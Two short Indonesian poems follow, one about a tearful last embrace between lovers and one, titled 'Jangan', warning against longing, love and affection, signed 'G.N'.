dengan kata yang berhamburan
pada lantai yang pekat dengan
air mata—atau penyesalan?

Tanganku bergetar dan nafasku
tak berhenti sesengukan
dan—lagi-lagi—kau merasakannya;
mendekapku ke dalam dadamu
—yang hangat dan harum
dan jantungmu yang memompa
tanda tanya

Kudekapkan tanganku
—yang gemetar
pada dada sendiri
melingkar tanganmu
pada punggungku
untuk terakhir kali
lirih dan syahdu suaraku:
—Sayang, inikah akhir
yang selalu kita tunggu?

============================================

JANGAN

Jangan rindu, itu candu.
Jangan cinta, itu siksa.
Jangan sayang, itu meradang.

–G.N
============================================